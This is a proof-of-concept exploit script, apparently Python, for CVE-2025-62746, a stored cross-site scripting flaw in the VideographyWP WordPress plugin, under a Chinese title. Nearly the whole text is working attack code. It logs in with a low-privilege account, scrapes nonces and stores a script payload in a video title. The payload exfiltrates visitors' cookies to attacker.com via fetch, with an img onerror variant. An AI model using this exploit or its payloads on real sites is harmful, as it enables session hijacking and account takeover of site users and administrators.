CVE-2025-62746 WordPress VideographyWP插件存储型XSS漏洞

import requests import sys from bs4 import BeautifulSoup # CVE-2025-62746 PoC - Stored XSS in VideographyWP Plugin # Target: WordPress with Featured Video for WordPress plugin <= 1.0.18 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_csrf_token(session, url): """Extract CSRF token from login page""" response = session.get(url + "/wp-login.php") soup = BeautifulSoup(response.text, 'html.parser') token = soup.find('input', {'name': '_wpnonce'}) return token['value'] if token else None def login(session): """Authenticate to WordPress with low-privilege account""" csrf_token = get_csrf_token(session, TARGET_URL) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': csrf_token, 'redirect_to': TARGET_URL + '/wp-admin/', 'testcookie': '1' } response = session.post(TARGET_URL + '/wp-login.php', data=login_data, allow_redirects=True) return 'wordpress_logged_in' in session.cookies.get_dict() def inject_xss_payload(session): """Inject stored XSS payload via video submission form""" # XSS payload - steals cookies xss_payload = '''<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>''' # Alternative payload with event handler xss_payload_alt = '''<img src=x onerror="fetch('https://attacker.com/steal?c='+btoa(document.cookie))">''' # Get nonce for video creation admin_url = TARGET_URL + '/wp-admin/admin.php?page=videographywp-videos' response = session.get(admin_url) # Extract nonce from page (adjust selector based on actual HTML) soup = BeautifulSoup(response.text, 'html.parser') nonce_input = soup.find('input', {'name': 'nonce'}) nonce = nonce_input['value'] if nonce_input else 'YOUR_NONCE' # Prepare video data with XSS payload video_data = { 'action': 'videographywp_save_video', 'nonce': nonce, 'video_title': 'Featured Video - ' + xss_payload, 'video_description': '<script>alert("XSS")</script>', 'video_url': 'https://example.com/video.mp4' } # Submit the malicious video post_url = TARGET_URL + '/wp-admin/admin-ajax.php' response = session.post(post_url, data=video_data) return response.status_code == 200 def main(): print(f"[*] CVE-2025-62746 PoC - VideographyWP Stored XSS") print(f"[*] Target: {TARGET_URL}") session = requests.Session() session.headers.update({'User-Agent': 'Mozilla/5.0'}) print("[*] Attempting authentication...") if not login(session): print("[-] Login failed!") sys.exit(1) print("[+] Login successful!") print("[*] Injecting XSS payload...") if inject_xss_payload(session): print("[+] XSS payload injected successfully!") print("[+] Visit any page displaying the video to trigger the payload") else: print("[-] Injection failed!") if __name__ == "__main__": main()